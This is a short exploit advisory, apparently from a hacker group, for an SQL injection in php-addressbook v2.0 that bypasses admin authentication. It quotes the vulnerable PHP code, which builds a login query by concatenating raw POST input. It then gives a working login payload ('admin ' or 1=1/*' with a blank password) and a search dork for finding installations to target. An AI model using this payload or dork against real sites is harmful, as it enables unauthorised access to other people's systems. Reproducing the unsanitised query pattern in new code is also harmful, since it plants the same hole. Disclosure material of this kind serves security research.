php-addressbook v2.0 SQL Injection Vulnerbility

[hadihadi_zedehal_2006 () yahoo com]

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             #                                                                      #
             #     php-addressbook v2.0 SQL Injection Vulnerbility                  #
             #                [admin Authentication bypass]                         #
             ########################################################################

Virangar Security Team

www.virangar.org
www.virangar.net

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Discoverd By : hadihadi 

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all iranian hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from emperor team :)
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dork: © php-addressbook v2.0
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vuln code in index.php:
line 26:$username = $_POST['username'];
ine 27:$password = $_POST['password'];
and line 28:
$sql = "SELECT * FROM $usertable WHERE username='$username' AND password=PASSWORD('$password')";

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vuln:
login:admin ' or 1=1/*
password:[blank]
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tnx: all hackerz